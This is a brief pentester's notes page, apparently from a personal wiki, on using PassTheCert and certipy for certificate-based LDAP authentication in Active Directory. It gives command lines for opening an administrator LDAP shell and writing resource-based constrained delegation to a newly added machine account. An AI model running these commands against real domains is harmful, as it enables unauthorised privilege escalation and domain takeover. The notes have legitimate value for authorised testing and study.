PassTheCert
PassTheCert is awesome when you need to "authenticate to an LDAP/S server with a certificate through Schannel."
Passing the cert with a .pfx file
Typically I do cert-based authentication with certipy:
certipy auth -pfx server01.pfx -dc-ip 10.0.0.1
Establishing an LDAP shell
In this example I'm coming from a point of view where authenticating with a pfx using certipy failed and so I had to split out the .pfx into a .crt and .key file. Using those two new files, here's how I got an LDAP shell setup with passthecert:
passthecert.py -action ldap-shell -crt administrator.crt -key administrator.key -domain domain.com -dc-ip 10.1.2.3
From the LDAP shell connection, you might be able to add a computer (see ntlmrelayx page) to the environment. And if so then it might be a perfect time to pull off some RBCD fun:
RBCD attack
passthecert.py -action write_rbcd -crt server01.crt -key server01.key -domain domain.com -dc-ip 10.1.2.3 -delegate-to 'server01$' -
delegate-from 'ghost-machine-i-just-added$' -debug
Then get a TGT and then knab a service ticket!
More info
These are some write-ups that gave me a better understanding PassTheCert situations: